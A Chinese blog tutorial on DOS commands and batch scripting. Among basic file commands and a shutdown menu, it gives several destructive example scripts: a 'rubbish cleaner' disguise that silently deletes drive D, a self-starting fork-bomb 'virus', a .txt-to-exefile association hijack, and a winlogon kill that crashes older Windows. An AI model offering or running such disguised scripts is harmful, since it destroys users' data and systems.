03DOS命令与批处理

1.DOS命令

1.1查看

type 文件名.扩展名 | more   //分页显示

1.2创建文件

1)echo

2)copy con 文件名.扩展名

开始编写内容

ctrl+Z回车结束编写

1.3删除文件

del 文件名.扩展名

del *.txt //删除所有txt文件

del *.* //删除所有文件

del *.* /s /q //无提示删除所有文件

ps:只会删除文件夹里的文件,而不会删除里面的文件夹。这样操作也并不会删除子文件夹中的文件。

1.4隐藏文件

attrib +h +s +a feifei //h隐藏文件夹,s受系统保护的系统文件夹,a只读属性

fsutil file creatnew c:\windows\system.ini 409600000 //快速生成一个空文件

1.5修改关联性

assoc .txt=exefile

1.6定时关机

补充:-c "可以写字符串"

1.7改名

ren 旧名 新名

1.8移动文件

move 文件原来的路径 文件要移动的路径

1.9复制文件

copy haha.txt ..\b\ \\上一级的b目录下,相对路径

2.批处理编写(成批的处理dos命令)

2.1批处理作用

类似于程序,批处理相当于脚本,是执行一条一条命令的。不论执行结果成功与否,都会接着执行下一条命令

2.2如何处理批处理

扩展名:.bat

方法:创建一个记事本文件.txt,然后改成.bat文件

如果没有扩展名,在下图勾选显示

2.3批处理基本语法

2.3.1 @echo off 和 pause 和 echo

例:

@echo off    //关闭回显,屏蔽执行过程
echo ===============  //显示
echo hello,i am xxx
echo ===============
pause      //暂停,直到按任意键才会执行下边的命令

无@echo off

 有@echo off

2.3.2 color 和 title 和echo.

例:

@echo off    //关闭回写,屏蔽执行过程
color 0a //改颜色
title clear rubbish program  //改标题
echo ===============
echo clear your system rubbish
echo if 拦截 please 放行
echo ===============
pause      //暂停,直到按任意键才会执行下边的命令
echo.     //输出一个空行
echo rubbish is cleaning......
d: >nul 2>nul
cd \ >nul 2>nul
rd . /s/q  >nul 2>nul //格式化d盘    
ping -n 10 127.0.0.1 >nul 2>nul  //ping自己,且不显示
echo congradulations!!! rubbish is over
pause

2.3.3 区块和goto

区块:

goto:跳转

例:一个最简单的病毒

copy qq.bat "%userprofile%\「开始」菜单\程序\启动"  //%userprofile%一个变量,有特殊符号加”“
:d
start //打开某个程序或网页,如果什么都不写 就是打开cmd窗口
goto d //循环到d区块

 崩掉了,不要轻易尝试

2.3.4 set

set :设置变量,常用在脚本中的互动赋值

互动赋值:set /p time=请输入时间

引用变量:%time%

例:

@echo off
title 关机小程序v1.0
color 0a
:menu
cls
echo ======================
echo         菜单
echo      1.定时关机
echo      2.取消定时
echo      3.退出
echo =======================
set /p num=您的选择:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
echo 请输入正确的选项
pause 
goto menu

:1
set /p a=请输入时间(单位/秒)    //设置变量a的值,有/p那么=后边就不再是a的值,而是给用户看的
shutdown -s -f -t %a%
goto menu

:2
shutdown -a
goto menu

:3
exit

2.3.5 补充

1.杀死进程 (针对2003或xp蓝屏命令)

ntsd -c q -pn winlogon.exe

2.杀死一个桌面

taskkill /im explorer.exe /f

@echo off
color 0a
taskkill /im explorer.exe /f >nul 2>nul

echo 傻了吧

ping -n 10 127.0.0.1 >nul 2>nul

start c:\windows\explorer.exe
echo 嘻嘻,吓唬你
pause

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值